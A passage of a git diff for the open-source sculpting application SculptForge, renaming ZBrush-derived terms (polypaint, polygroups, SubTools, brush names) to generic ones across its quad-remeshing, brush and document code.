// mirror-symmetric is remeshed whole instead. Separate pieces are kept: small ones (eyes, rivets) are remeshed
@@ -47,11 +47,11 @@ enum class QRemeshMethod { V2 = 0, Legacy = 1 };
struct QRemeshOptions {
QRemeshMethod method = QRemeshMethod::V2;
- int targetQuads = 5000; // ZBrush's Target Polygons Count (here in polygons, not thousands)
+ int targetQuads = 5000; // the classic Target Polygons Count (here in polygons, not thousands)
float adaptive = 0.5f; // Adaptive Size: 0 = even quads, 1 = sizes follow the curvature strongly
- bool keepGroups = false; // edge loops along polygroup borders; the result keeps the groups
+ bool keepGroups = false; // edge loops along face group borders; the result keeps the groups
bool detectEdges = true; // hard edges (faces meeting at more than 50 degrees) get an edge loop
- bool usePolypaint = false; // red polypaint: up to 4x the density, blue: down to 1/4
+ bool useVertexPaint = false; // red vertex paint: up to 4x the density, blue: down to 1/4
int symmetryAxis = -1; // -1 none, 0 X, 1 Y, 2 Z
// The mirror plane's position along the axis. symmetryAuto: the plane is found from the model (the world
// origin's plane when the model is symmetric about it, else the model's own middle, as for an off-centre
@@ -61,7 +61,7 @@ struct QRemeshOptions {
int smoothIterations = 6;
uint32_t seed = 1; // the field's random start (the result is deterministic for a seed)
// QRemesh Guides (core/QRemeshGuides.h), in the source's space: an edge loop runs along each curve and the
- // edge flow turns to follow it. guideStrength (ZBrush's Curves Strength, 0..1): how far around a curve the
+ // edge flow turns to follow it. guideStrength (Curves Strength, 0..1): how far around a curve the
// flow follows it (0 = only the loop on the curve itself, 1 = about six quads to each side).
std::vector<QRemeshGuide> guides;
float guideStrength = 0.5f;
@@ -97,7 +97,7 @@ struct QRemeshStats {
float asymmetry = 0.0f; // the model's mirror mismatch about that plane, in mean quad edges
size_t pieces = 0; // separate pieces of the source (small ones are remeshed on their own)
size_t guides = 0; // QRemesh Guides used
- size_t guidesSkipped = 0; // guides left out: mostly off the surface (the SubTool moved since)
+ size_t guidesSkipped = 0; // guides left out: mostly off the surface (the Part moved since)
double seconds = 0;
QRemeshMethod method = QRemeshMethod::V2;
size_t fallbackPieces = 0; // V2: pieces it couldn't do well, remeshed with the legacy method
@@ -109,8 +109,8 @@ struct QRemeshStats {
using QRemeshProgress = std::function<bool(float fraction)>;
// Retopologises `source` (its evaluated positions: sculpt layers are baked; hidden parts are remeshed too)
-// into `out`: all quads (as triangle pairs, Mesh::quadPartners), mask and polypaint interpolated from the
-// sculpt, polygroups with Keep Groups. False with `error` set on failure or cancel.
+// into `out`: all quads (as triangle pairs, Mesh::quadPartners), mask and vertex paint interpolated from the
+// sculpt, face groups with Keep Groups. False with `error` set on failure or cancel.
bool qremesh(const Mesh& source, const QRemeshOptions& options, Mesh& out, std::string& error,
const QRemeshProgress& progress = {}, QRemeshStats* stats = nullptr);
@@ -125,8 +125,8 @@ struct TopologyReport {
};
TopologyReport topologyReport(const Mesh& mesh);
-// Puts a qremesh result into the active SubTool as one undo step. keepOriginal: first a hidden copy of the
-// SubTool as it was goes right below it ("<name> Original"), ready to ProjectAll the detail back from.
+// Puts a qremesh result into the active Part as one undo step. keepOriginal: first a hidden copy of the
+// Part as it was goes right below it ("<name> Original"), ready to ProjectAll the detail back from.
// Returns the status message.
std::string applyQRemesh(Document& doc, Mesh result, bool keepOriginal, const QRemeshStats& stats);
// The quality report as text for the status line ("" when empty).
diff --git a/src/core/QRemesh2.cpp b/src/core/QRemesh2.cpp
index b9c519a1..a5698955 100644
--- a/src/core/QRemesh2.cpp
+++ b/src/core/QRemesh2.cpp
@@ -9,9 +9,9 @@
// them (eight on a sphere-like shape, a handful more per feature) and edge loops run unbroken along the form.
//
// 1. Proxy surface (QRemesh2Proxy.cpp): the piece decimated and remeshed to about three triangle edges per quad
-// edge, feature lines kept. Sizes: the target count, Adaptive Size (curvature) and polypaint density set a
+// edge, feature lines kept. Sizes: the target count, Adaptive Size (curvature) and vertex paint density set a
// wanted quad size per vertex; the proxy is refined where quads will be small.
-// 2. Features as hard constraints: open edges (and the symmetry cut), polygroup borders (Keep Groups), hard edges
+// 2. Features as hard constraints: open edges (and the symmetry cut), face group borders (Keep Groups), hard edges
// (Detect Edges, chains shorter than a quad dropped), QRemesh Guides snapped onto the proxy as edge chains.
// 3. Cross field (QRemesh2Field.cpp) following smoothed principal curvature directions and the features.
// 4. Integer-grid map (QRemesh2Param.cpp): its integer lattice lines are the edge loops, feature lines and guides
@@ -1325,7 +1325,7 @@ bool remeshPieceOnce(const WorkMesh& piece, int axis, double wantQuads, const QR
mark("curvature");
if (!step(0.35f)) return false;
- // Sizes: Adaptive Size (curvature) and polypaint, relative; then normalised to the target.
+ // Sizes: Adaptive Size (curvature) and vertex paint, relative; then normalised to the target.
const bool adaptive = opt.adaptive > 0.01f || !piece.color.empty();
std::vector<float> rel(proxy.P.size(), 1.0f);
auto vertexAverage = [&](const std::vector<float>& perTri) {
@@ -1360,7 +1360,7 @@ bool remeshPieceOnce(const WorkMesh& piece, int axis, double wantQuads, const QR
relPaint[v] = std::pow(2.0f, blue - red);
}
}
- // The size the cross field turns with (QRemesh2Field.cpp): the polypaint density, which asks for real changes
+ // The size the cross field turns with (QRemesh2Field.cpp): the vertex paint density, which asks for real changes
// of density (pole pairs where it changes). Adaptive Size only stretches the map (a noisy sculpt's curvature
// would otherwise ask for many pole pairs).
if (!piece.color.empty()) proxy.fieldSize = relPaint;
diff --git a/src/core/QRemesh2.h b/src/core/QRemesh2.h
index f01bc9d9..e83304c9 100644
--- a/src/core/QRemesh2.h
+++ b/src/core/QRemesh2.h
@@ -35,7 +35,7 @@ void parallelJobs(size_t n, const std::function<void(size_t)>& fn);
// --- Proxy surface ----------------------------------------------------------------------------------------------
// The triangle mesh the field and the map are solved on: about three triangle edges per quad edge, even triangles,
-// feature lines (open edges, polygroup borders, hard edges) kept as edge chains on their exact place.
+// feature lines (open edges, face group borders, hard edges) kept as edge chains on their exact place.
struct Proxy {
std::vector<vec3> P;
std::vector<glm::uvec3> T;
@@ -46,7 +46,7 @@ struct Proxy {
std::vector<uint8_t> guide; // per corner: ... because a QRemesh Guide runs along it (empty: none)
std::vector<float> size; // per vertex: wanted quad edge length
std::vector<float> fieldSize; // per vertex: the (relative) size the cross field turns with; empty = none
- std::vector<vec3> color; // per vertex polypaint (usePolypaint only)
+ std::vector<vec3> color; // per vertex vertex paint (useVertex paint only)
std::vector<vec3> fixedDir; // per triangle: direction the field is fixed to (a guide's tangent), 0 = from its edges
size_t triangles() const { return T.size(); }
diff --git a/src/core/QRemesh2Proxy.cpp b/src/core/QRemesh2Proxy.cpp
index 9adf47d6..7c6b9c63 100644
--- a/src/core/QRemesh2Proxy.cpp
+++ b/src/core/QRemesh2Proxy.cpp
@@ -8,9 +8,9 @@
// density stays even), collapsed vertices settling at the middle of the edge and back onto the sculpt.
// 2. Isotropic remeshing (after Botsch & Kobbelt, "A remeshing approach to multiresolution modeling", 2004):
// split long edges, collapse short ones, flip edges towards valence 6, smooth tangentially and project onto
-// the sculpt, towards a per-vertex target length (smaller where Adaptive Size or polypaint want small quads).
+// the sculpt, towards a per-vertex target length (smaller where Adaptive Size or vertex paint want small quads).
//
-// Feature lines (open edges, polygroup borders with Keep Groups, hard edges with Detect Edges) are kept: their
+// Feature lines (open edges, face group borders with Keep Groups, hard edges with Detect Edges) are kept: their
// vertices only collapse along the line, slide along it when smoothed and project onto the source's line; where
// lines meet or turn sharply the vertex is pinned.
#include "core/QRemesh2.h"
diff --git a/src/core/QRemeshGuides.h b/src/core/QRemeshGuides.h
index 2d6e3de7..523472f5 100644
--- a/src/core/QRemeshGuides.h
+++ b/src/core/QRemeshGuides.h
@@ -1,9 +1,9 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// QRemesh Guides (ZBrush's ZRemesher Guides brush): curves drawn on the surface that QRemesh's edge loops
-// follow, around the eyes, the mouth, a joint. Each SubTool keeps its own (Document::qremeshGuides while it is
-// active, SubTool::qremeshGuides otherwise) and projects save them ("qremesh_guides" in a SubTool's manifest
+// QRemesh Guides (QRemesh Guides brush): curves drawn on the surface that QRemesh's edge loops
+// follow, around the eyes, the mouth, a joint. Each Part keeps its own (Document::qremeshGuides while it is
+// active, Part::qremeshGuides otherwise) and projects save them ("qremesh_guides" in a Part's manifest
// entry, so older versions ignore them and older projects open without any).
//
// QRemesh (core/QRemesh.cpp) uses them twice: the cross field turns to follow every curve, with a falloff
@@ -28,13 +28,13 @@ struct Document;
struct Symmetry;
struct QRemeshGuide {
- std::vector<glm::vec3> points; // on the surface, in the SubTool's space, evenly spaced
+ std::vector<glm::vec3> points; // on the surface, in the Part's space, evenly spaced
bool closed = false; // a loop: the last point joins the first
uint32_t stroke = 0; // guides drawn together (a curve and its mirror) share a stroke number
};
// Turns a drawn path (points on or near the surface) into guides: the path is resampled every `step` (<= 0:
-// 0.5% of the SubTool's size), snapped onto the surface, closed when it ends near where it started, and copied
+// 0.5% of the Part's size), snapped onto the surface, closed when it ends near where it started, and copied
// across each mirror plane of `symmetry` (planes through the world's centre, as the brushes mirror). Appends to
// `guides` with a new stroke number; returns how many guides were added (0: the path was too short).
int addQRemeshGuide(std::vector<QRemeshGuide>& guides, const Mesh& mesh, const BVH& bvh,
diff --git a/src/core/QRemeshInternal.h b/src/core/QRemeshInternal.h
index 5e99af03..9bdb2df4 100644
--- a/src/core/QRemeshInternal.h
+++ b/src/core/QRemeshInternal.h
@@ -28,7 +28,7 @@ struct WorkMesh {
std::vector<glm::vec3> P;
std::vector<glm::uvec3> T;
std::vector<uint32_t> group; // per triangle
- std::vector<glm::vec3> color; // per vertex (only with usePolypaint)
+ std::vector<glm::vec3> color; // per vertex (only with useVertex paint)
std::vector<uint8_t> cutEdge; // filled later: per boundary segment, 1 = made by the symmetry cut
};
diff --git a/src/core/RadialMenu.cpp b/src/core/RadialMenu.cpp
index de2bc9b7..f6ab0b0e 100644
--- a/src/core/RadialMenu.cpp
+++ b/src/core/RadialMenu.cpp
@@ -33,8 +33,7 @@ constexpr ButtonName kButtons[int(RadialButton::Count)] = {
// An id from a file: a string of sensible length the vocabulary knows, or "".
std::string knownId(const Json& j, const std::function<bool(std::string_view)>& known) {
if (!j.isString()) return {};
- std::string s = j.asString();
- if (const std::string_view now = legacy::renamed(legacy::kActionIds, s); !now.empty()) s = now;
+ std::string s = legacy::modernize(j.asString());
if (s.empty() || s.size() > kRadialIdMax || !known || !known(s)) return {};
return s;
}
diff --git a/src/core/RetopoCommands.cpp b/src/core/RetopoCommands.cpp
index 1cbbd240..b683b206 100644
--- a/src/core/RetopoCommands.cpp
+++ b/src/core/RetopoCommands.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// qremesh and project_all: the scriptable side of Geometry > QRemesh and SubTool > Project (core/QRemesh.h,
+// qremesh and project_all: the scriptable side of Geometry > QRemesh and Part > Project (core/QRemesh.h,
// core/Projection.h). The app runs QRemesh on a worker thread and applies the result with applyQRemesh.
#include "core/Commands.h"
#include "core/KeepMasked.h"
@@ -45,11 +45,11 @@ std::string qualitySummary(const QuadQuality& q) {
std::string applyQRemesh(Document& doc, Mesh result, bool keepOriginal, const QRemeshStats& st) {
const size_t before = doc.mesh.triangleCount();
if (keepOriginal) {
- const SubTool& active = doc.activeSubtoolInfo();
- const int at = doc.activeSubtool + 1;
- doc.addSubtool(doc.mesh, active.name + " Original", false, at);
- doc.subtools[size_t(at)].visible = false;
- doc.subtools[size_t(at)].qremeshGuides = doc.qremeshGuides; // to remesh it again with them
+ const Part& active = doc.activePartInfo();
+ const int at = doc.activePart + 1;
+ doc.addPart(doc.mesh, active.name + " Original", false, at);
+ doc.parts[size_t(at)].visible = false;
+ doc.parts[size_t(at)].qremeshGuides = doc.qremeshGuides; // to remesh it again with them
}
doc.replaceMeshUndoable(std::move(result), "Quad Remesh");
const size_t faces = st.quads + st.triangles;
@@ -99,7 +99,7 @@ void registerRetopoCommands(CommandRegistry& reg) {
{"keep_groups", T::Bool, "Keep Groups: edge loops follow the face group borders and the groups are kept.", false},
{"detect_edges", T::Bool, "Detect Edges: hard edges get an edge loop (v2: faces meeting at more than about "
"60 degrees along a line a few quads long; legacy: over 50 degrees). Default true.", false},
- {"use_polypaint", T::Bool, "Use the vertex paint as a density guide: red areas get up to 4x the quads, blue "
+ {"use_vertexpaint", T::Bool, "Use the vertex paint as a density guide: red areas get up to 4x the quads, blue "
"areas down to a quarter.", false},
{"symmetry", T::String, "Mirror the topology across x, y or z. The mirror plane is found from the model (the "
"world's centre plane, or the model's own middle when it sits off-centre); a model "
@@ -136,7 +136,7 @@ void registerRetopoCommands(CommandRegistry& reg) {
o.adaptive = float(std::clamp(argNumber(a, "adaptive", 0.5), 0.0, 1.0));
o.keepGroups = argBool(a, "keep_groups", false);
o.detectEdges = argBool(a, "detect_edges", true);
- o.usePolypaint = argBool(a, "use_polypaint", false);
+ o.useVertexPaint = argBool(a, "use_vertexpaint", false);
o.symmetryAxis = symmetryAxisArg(argString(a, "symmetry"));
if (a.contains("symmetry_center")) {
o.symmetryAuto = false;
@@ -169,7 +169,7 @@ void registerRetopoCommands(CommandRegistry& reg) {
{"mean", T::Bool, "Mean: with surface on both sides, settle halfway between them. Default false.", false},
{"blur", T::Number, "PA Blur: smoothing passes over the projected offsets (0-20). Default 0.", false},
{"geometry", T::Bool, "Project the shape. Default true.", false},
- {"polypaint", T::Bool, "Project the vertex paint (when a source has any). Default true.", false},
+ {"vertexpaint", T::Bool, "Project the vertex paint (when a source has any). Default true.", false},
{"source", T::String, "Project only from the Part with this name (default: all visible ones).", false}},
[](Document& doc, const Args& a) -> CommandResult {
ProjectOptions o;
@@ -177,12 +177,12 @@ void registerRetopoCommands(CommandRegistry& reg) {
o.mean = argBool(a, "mean", false);
o.blur = int(std::clamp(argNumber(a, "blur", 0), 0.0, 20.0));
o.geometry = argBool(a, "geometry", true);
- o.polypaint = argBool(a, "polypaint", true);
+ o.vertexpaint = argBool(a, "vertexpaint", true);
int source = -1;
if (a.contains("source")) {
- source = doc.findSubtool(argString(a, "source"));
+ source = doc.findPart(argString(a, "source"));
if (source < 0) return {false, "No Part called '" + argString(a, "source") + "'"};
- if (source == doc.activeSubtool) return {false, "Project All can't project a Part onto itself"};
+ if (source == doc.activePart) return {false, "Project All can't project a Part onto itself"};
}
std::string msg;
const bool ok = projectAll(doc, o, msg, source);
diff --git a/src/core/ScreenSelect.h b/src/core/ScreenSelect.h
index b4883966..3f378840 100644
--- a/src/core/ScreenSelect.h
+++ b/src/core/ScreenSelect.h
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Screen-space selection shapes shared by the lasso and rectangle tools
-// (ZBrush MaskLasso / MaskRect and SelectRect / SelectLasso). Shapes live in
+// (MaskLasso / MaskRect and SelectRect / SelectLasso). Shapes live in
// normalised device coordinates (-1..1, y up) under a view-projection
// matrix; the commands take that matrix as 16 numbers ("view_proj") and the
// lasso as "x0 y0 x1 y1 ..." ("points").
@@ -19,7 +19,7 @@
namespace sf {
// A closed polygon with a fast inside test (even-odd rule, so a lasso that
-// crosses itself leaves the doubly-enclosed parts out, as ZBrush does).
+// crosses itself leaves the doubly-enclosed parts out).
// Edges are bucketed into horizontal bands, so testing a vertex only walks
// the few edges near its height even for a long lasso.
class ScreenPolygon {
diff --git a/src/core/Sculpt.cpp b/src/core/Sculpt.cpp
index aeaf05eb..241bc93a 100644
--- a/src/core/Sculpt.cpp
+++ b/src/core/Sculpt.cpp
@@ -26,8 +26,8 @@ const char* brushName(BrushType type) {
case BrushType::Crease: return "Crease";
case BrushType::Flatten: return "Flatten";
case BrushType::Pinch: return "Pinch";
- case BrushType::DamStandard: return "SharpCrease";
- case BrushType::ClayBuildup: return "ClayBlock";
+ case BrushType::SharpCrease: return "SharpCrease";
+ case BrushType::ClayBlock: return "ClayBlock";
case BrushType::SnakeHook: return "Tendril";
case BrushType::Trim: return "Trim";
case BrushType::Layer: return "Layer";
@@ -45,8 +45,8 @@ const char* brushName(BrushType type) {
const char* brushLabel(BrushType type) {
switch (type) {
- case BrushType::DamStandard: return "Sharp Crease";
- case BrushType::ClayBuildup: return "Clay Block";
+ case BrushType::SharpCrease: return "Sharp Crease";
+ case BrushType::ClayBlock: return "Clay Block";
case BrushType::SnakeHook: return "Tendril";
case BrushType::KelvinSnake: return "Elastic Tendril";
default: return brushName(type);
@@ -62,7 +62,9 @@ bool brushFromName(std::string_view name, BrushType& out) {
};
std::string want = squash(name);
if (want.empty()) return false;
- if (const std::string_view now = legacy::renamed(legacy::kBrushNames, want); !now.empty()) want = squash(now);
+ want = legacy::modernize(want);
+ for (const legacy::Rename& r : legacy::kBrushNames)
+ if (r.old == want) want = squash(r.now);
for (int i = 0; i < int(BrushType::Count); ++i)
if (squash(brushName(BrushType(i))) == want || squash(brushLabel(BrushType(i))) == want) {
out = BrushType(i);
@@ -669,7 +671,7 @@ UndoRecord Sculptor::endStroke() {
}
int groupBorderNeighbours(const Mesh& mesh, uint32_t v, uint32_t out[3]) {
- if (!mesh.hasPolygroups()) return 0;
+ if (!mesh.hasFaceGroups()) return 0;
int count = 0;
const auto tris = mesh.vertexTriangles(v);
for (uint32_t t : tris) {
@@ -681,12 +683,12 @@ int groupBorderNeighbours(const Mesh& mesh, uint32_t v, uint32_t out[3]) {
for (int i = 0; i < count && !seen; ++i) seen = out[i] == n;
if (seen) continue;
// The edge v-n: a border when the triangles sharing it don't all have one group.
- const uint32_t g = mesh.polygroupAt(t);
+ const uint32_t g = mesh.facegroupAt(t);
bool border = false;
for (uint32_t u : tris) {
if (u == t) continue;
const glm::uvec3 o = mesh.triangles[u];
- if ((o.x == n || o.y == n || o.z == n) && mesh.polygroupAt(u) != g) border = true;
+ if ((o.x == n || o.y == n || o.z == n) && mesh.facegroupAt(u) != g) border = true;
}
if (!border) continue;
out[count++] = n;
@@ -718,7 +720,7 @@ void Sculptor::dab(Mesh& mesh, BVH& bvh, BrushType type, const DabParams& p, Sym
}
if (type != BrushType::Move && type != BrushType::Morph) { // (Morph needs the vertices the target has)
const bool useAlpha = p.alpha && !p.alpha->empty(); // (the reach dabSingle gives the brush)
- const float reach = useAlpha ? kAlphaReach : type == BrushType::ClayBuildup ? 1.3f : 1.0f;
+ const float reach = useAlpha ? kAlphaReach : type == BrushType::ClayBlock ? 1.3f : 1.0f;
const float scale = type == BrushType::Smooth ? dyntopoSmoothScale(dyntopo) : 1.0f;
if (scale > 0.0f) remeshDab(mesh, bvh, p, sym, scale, reach);
else lastRemesh_ = false; // (Smooth only: no repair pass either)
@@ -737,9 +739,9 @@ void Sculptor::dab(Mesh& mesh, BVH& bvh, BrushType type, const DabParams& p, Sym
void Sculptor::dabSingle(Mesh& mesh, BVH& bvh, BrushType type, const DabParams& p) {
auto clock = std::chrono::steady_clock::now();
- // Alphas and the square ClayBuildup tip reach into the corners of their square.
+ // Alphas and the square Clay Block tip reach into the corners of their square.
const bool useAlpha = p.alpha && !p.alpha->empty();
- const float reach = useAlpha ? kAlphaReach : type == BrushType::ClayBuildup ? 1.3f : 1.0f;
+ const float reach = useAlpha ? kAlphaReach : type == BrushType::ClayBlock ? 1.3f : 1.0f;
brushRegion(mesh, bvh, p.center, p.viewDir, p.radius * reach, p.connectedOnly, p.viewFalloff, verts_, connected_);
if (verts_.empty()) return;
@@ -856,7 +858,7 @@ void Sculptor::dabSingle(Mesh& mesh, BVH& bvh, BrushType type, const DabParams&
case BrushType::Pinch:
d = projectOnPlane(p.center - x, areaNormal) * (sign * 0.2f * s * f);
break;
- case BrushType::DamStandard: {
+ case BrushType::SharpCrease: {
// Narrow, deep V-groove (a ridge when inverted); the sides are always
// pinched in toward the stroke line, so the crease stays sharp.
const float core = f * f * f * f;
@@ -866,7 +868,7 @@ void Sculptor::dabSingle(Mesh& mesh, BVH& bvh, BrushType type, const DabParams&
d += pull * (0.3f * s * f);
break;
}
- case BrushType::ClayBuildup: {
+ case BrushType::ClayBlock: {
// Square tip (rounded corners) with a flat top: a raised plane that
// everything below is pulled up to, so strokes build up in slabs.
float w = f;
@@ -897,7 +899,7 @@ void Sculptor::dabSingle(Mesh& mesh, BVH& bvh, BrushType type, const DabParams&
break;
}
case BrushType::Trim: {
- // Trim Dynamic: a plane just below the area cuts off whatever sticks out
+ // Plane Trim: a plane just below the area cuts off whatever sticks out
// above it (fills up to it when inverted). sqrt falloff for a crisp edge.
glm::vec3 planePoint = areaCenter - areaNormal * (sign * r * 0.02f * s);
float h = glm::dot(x - planePoint, areaNormal);
@@ -1274,7 +1276,7 @@ void Sculptor::restoreStroke(Mesh& mesh, BVH& bvh) {
return;
}
topologyHeld_ = true; // (positions come back, topology wouldn't)
- // Polypaint laid down by the stroke so far (Paint brush / RGB while sculpting).
+ // Vertex paint laid down by the stroke so far (Paint brush / RGB while sculpting).
if (!record_.colors.empty() && mesh.hasColors()) {
const auto& ci = record_.colors.indices;
const int layer = record_.paintLayer;
diff --git a/src/core/Sculpt.h b/src/core/Sculpt.h
index 81f59e7b..7f351ff6 100644
--- a/src/core/Sculpt.h
+++ b/src/core/Sculpt.h
@@ -26,10 +26,10 @@ struct VectorDisplacement;
enum class BrushType {
Standard, Clay, Smooth, Move, Inflate, Crease, Flatten, Pinch,
- DamStandard, // sharp V-crease with the sides pinched toward the stroke
- ClayBuildup, // square-ish, flat-topped clay
+ SharpCrease, // sharp V-crease with the sides pinched toward the stroke
+ ClayBlock, // square-ish, flat-topped clay
SnakeHook, // pulls the region along the stroke (strokeDelta), tapering
- Trim, // Trim Dynamic: a plane cuts away everything above it
+ Trim, // Plane Trim: a plane cuts away everything above it
Layer, // raises to one fixed height per stroke (overlaps never stack)
Nudge, // slides the surface sideways along the stroke
Vdm, // vector displacement: stamps DabParams::vdm (a horn, an ear...) with overhangs (core/Vdm.h)
@@ -65,10 +65,10 @@ struct DabParams {
float pressure = 1.0f; // tablet pressure, 0..1
bool invert = false;
bool frontFacesOnly = false;
- glm::vec3 strokeDelta{0.0f}; // world-space movement since the previous dab (recipe, SnakeHook, Nudge, DamStandard)
+ glm::vec3 strokeDelta{0.0f}; // world-space movement since the previous dab (recipe, SnakeHook, Nudge, Sharp Crease)
const BrushAlpha* alpha = nullptr; // stamp shaping the falloff (null/empty = round)
glm::vec3 alphaUp{0.0f, 1.0f, 0.0f}; // world direction of the alpha's top edge (screen up, or rotated)
- float focal = 0.0f; // ZBrush Focal Shift, -1..1 (brushFalloff; alphaFalloff with an alpha)
+ float focal = 0.0f; // classic Focal Shift, -1..1 (brushFalloff; alphaFalloff with an alpha)
const VectorDisplacement* vdm = nullptr; // the Vdm brush's map (null = the built-in Horn); top edge = alphaUp
// Smooth: keep the volume (#40). A Taubin step, one shrink then one inflate, removes bumps as the plain
// (Laplacian) smooth does without shrinking the form. Not on micro levels (they smooth plainly).
@@ -146,7 +146,7 @@ bool lineRayClosest(const glm::vec3& point, const glm::vec3& dir, const glm::vec
// (`out`); the return value is how many there are (a count of 3 means a junction).
int groupBorderNeighbours(const Mesh& mesh, uint32_t v, uint32_t out[3]);
inline float clayPull(float s) { return s >= 0.5f ? 1.0f : 2.0f * std::max(s, 0.0f); }
-// Smoothstep brush falloff: 1 at the centre, 0 at `radius`. `focal` is ZBrush's Focal Shift (-1..1): below 0
+// Smoothstep brush falloff: 1 at the centre, 0 at `radius`. `focal` is the classic Focal Shift (-1..1): below 0
// the full-strength centre widens (a harder, broader tip), above 0 it narrows to a softer point; 0 is the plain
// smoothstep, unchanged.
float brushFalloff(float dist, float radius, float focal = 0.0f);
@@ -154,7 +154,7 @@ float brushFalloff(float dist, float radius, float focal = 0.0f);
float focalRingFraction(float focal);
// An alpha's stamp covers the square around the brush circle: its corners are radius x sqrt 2 out.
constexpr float kAlphaReach = 1.4143f;
-// Focal Shift on an alpha brush (#60), as in ZBrush: the alpha is multiplied by this round falloff, which reaches
+// Focal Shift on an alpha brush (#60): the alpha is multiplied by this round falloff, which reaches
// the stamp's corners (radius x kAlphaReach). -1 is 1 everywhere (the alpha shows hard to its edges), 0 the
// smoothstep (soft, rounding a square alpha's corners), +1 a narrow soft point (the alpha mostly gone).
float alphaFalloff(float dist, float radius, float focal);
@@ -193,7 +193,7 @@ public:
void grabMove(Mesh& mesh, const glm::vec3& delta);
void grabFinish(Mesh& mesh, BVH& bvh);
- // Brushes that change mask or polypaint call these before writing
+ // Brushes that change mask or vertex paint call these before writing
// mesh.mask[v] / mesh.colors[v] (after ensureMask()/ensureColors()), so
// the stroke's undo step restores them. Each vertex is recorded once per stroke.
void recordMask(const Mesh& mesh, uint32_t v);
@@ -216,7 +216,7 @@ public:
DabFrame lastFrame;
// Dynamic topology (core/Dyntopo.h): while enabled, dab() and dabRecipe() remesh the surface under the
- // brush first (Smooth towards twice the edge length, so it simplifies, as in ZBrush). Not the Move brush.
+ // brush first (Smooth towards twice the edge length, so it simplifies). Not the Move brush.
DyntopoSettings dyntopo;
DynamicTopology& dynamicTopology() { return dynTopo_; }
// No remeshing for the rest of this stroke: strokes that undo and re-stamp while dragging (DragRect,
diff --git a/src/core/Sculptable.cpp b/src/core/Sculptable.cpp
index 77a7a3ba..96a066a6 100644
--- a/src/core/Sculptable.cpp
+++ b/src/core/Sculptable.cpp
@@ -764,7 +764,7 @@ struct FaceImage {
float u0 = 0, v0 = 0; // face coordinates of pixel (0, 0)'s centre
float front = 0; // where the rays start (along front)
std::vector<float> depth; // along front; NaN = no hit
- std::vector<float> lum; // luminance of the polypaint (1 without)
+ std::vector<float> lum; // luminance of the vertex paint (1 without)
std::vector<vec3> hit;
bool valid(int x, int y) const { return x >= 0 && y >= 0 && x < w && y < h && !std::isnan(depth[size_t(y * w + x)]); }
float d(int x, int y) const { return depth[size_t(y * w + x)]; }
@@ -899,7 +899,7 @@ bool detectFaceLandmarks(const Mesh& mesh, const FaceFrame& frameIn, FaceLandmar
auto idx = [&](int x, int y) { return size_t(y * W + x); };
// Protrusion: depth above its blurred surroundings (the nose, brow, lips and chin stand out; eye sockets and
- // the mouth line dip). Darkness from the polypaint helps with eyes and the mouth.
+ // the mouth line dip). Darkness from the vertex paint helps with eyes and the mouth.
const int R = std::max(3, int(std::lround(0.06f * float(std::max(W, H)))));
const std::vector<float> smooth = blurValid(img, img.depth, R);
std::vector<float> P(img.depth.size(), std::nanf(""));
@@ -1383,7 +1383,7 @@ bool finishSculptable(const SplatCloud& cloud, const SculptableOptions& o, Sculp
}
if (o.levels > 0) {
ProjectOptions po;
- po.polypaint = false;
+ po.vertexpaint = false;
po.distance = 0.03f;
std::vector<vec3> positions;
ProjectStats ps;
@@ -1414,8 +1414,8 @@ namespace {
// An untouched starting sphere makes way for the scan (hidden, not deleted).
void hideStartingSphere(Document& doc) {
- if (doc.subtoolCount() == 1 && !doc.undo.canUndo() && doc.mesh.layers.empty() && !doc.mesh.hasColors())
- doc.activeSubtoolInfo().visible = false;
+ if (doc.partCount() == 1 && !doc.undo.canUndo() && doc.mesh.layers.empty() && !doc.mesh.hasColors())
+ doc.activePartInfo().visible = false;
}
std::string captureName(const Document& doc) { return doc.splats.name.empty() ? std::string("Scan") : doc.splats.name; }
@@ -1426,12 +1426,12 @@ std::string applySculptable(Document& doc, SculptableResult& res, bool keepScan)
const std::string base = captureName(doc);
hideStartingSphere(doc);
if (keepScan) {
- const int s = doc.addSubtool(std::move(res.scan), doc.uniqueSubtoolName(base + " Scan"), false);
- doc.subtools[size_t(s)].visible = false;
- doc.subtools[size_t(s)].qremeshGuides = res.guides;
+ const int s = doc.addPart(std::move(res.scan), doc.uniquePartName(base + " Scan"), false);
+ doc.parts[size_t(s)].visible = false;
+ doc.parts[size_t(s)].qremeshGuides = res.guides;
}
const std::string report = res.report();
- doc.addSubtool(std::move(res.mesh), doc.uniqueSubtoolName(base), true);
+ doc.addPart(std::move(res.mesh), doc.uniquePartName(base), true);
doc.qremeshGuides = res.guides;
doc.modified = true;
return report;
@@ -1440,7 +1440,7 @@ std::string applySculptable(Document& doc, SculptableResult& res, bool keepScan)
std::string applySculptableScan(Document& doc, SculptableResult& res) {
hideStartingSphere(doc);
const size_t splats = res.surface.used;
- doc.addSubtool(std::move(res.scan), doc.uniqueSubtoolName(captureName(doc) + " Scan"), true);
+ doc.addPart(std::move(res.scan), doc.uniquePartName(captureName(doc) + " Scan"), true);
doc.qremeshGuides = res.guides;
doc.modified = true;
char buf[160];
@@ -1457,9 +1457,9 @@ std::string applySculptableScan(Document& doc, SculptableResult& res) {
}
std::string applySculptableFinish(Document& doc, SculptableResult& res, int scanIndex, bool keepScan) {
- if (scanIndex < 0 || scanIndex >= doc.subtoolCount()) scanIndex = doc.activeSubtool;
+ if (scanIndex < 0 || scanIndex >= doc.partCount()) scanIndex = doc.activePart;
// "Head Scan" -> "Head", "Head Scan 2" -> "Head 2"; another name gets " Quads".
- const std::string name = doc.subtools[size_t(scanIndex)].name;
+ const std::string name = doc.parts[size_t(scanIndex)].name;
std::string base = name + " Quads";
if (const size_t at = name.rfind(" Scan"); at != std::string::npos && at > 0) {
const std::string rest = name.substr(at + 5);
@@ -1468,13 +1468,13 @@ std::string applySculptableFinish(Document& doc, SculptableResult& res, int scan
}
const size_t faces = res.mesh.triangleCount() - res.mesh.quadCount();
const int levels = subdivLevelCount(res.mesh);
- const uint32_t scanId = doc.subtools[size_t(scanIndex)].id;
- doc.addSubtool(std::move(res.mesh), doc.uniqueSubtoolName(base), true, scanIndex + 1);
+ const uint32_t scanId = doc.parts[size_t(scanIndex)].id;
+ doc.addPart(std::move(res.mesh), doc.uniquePartName(base), true, scanIndex + 1);
doc.qremeshGuides = res.guides;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
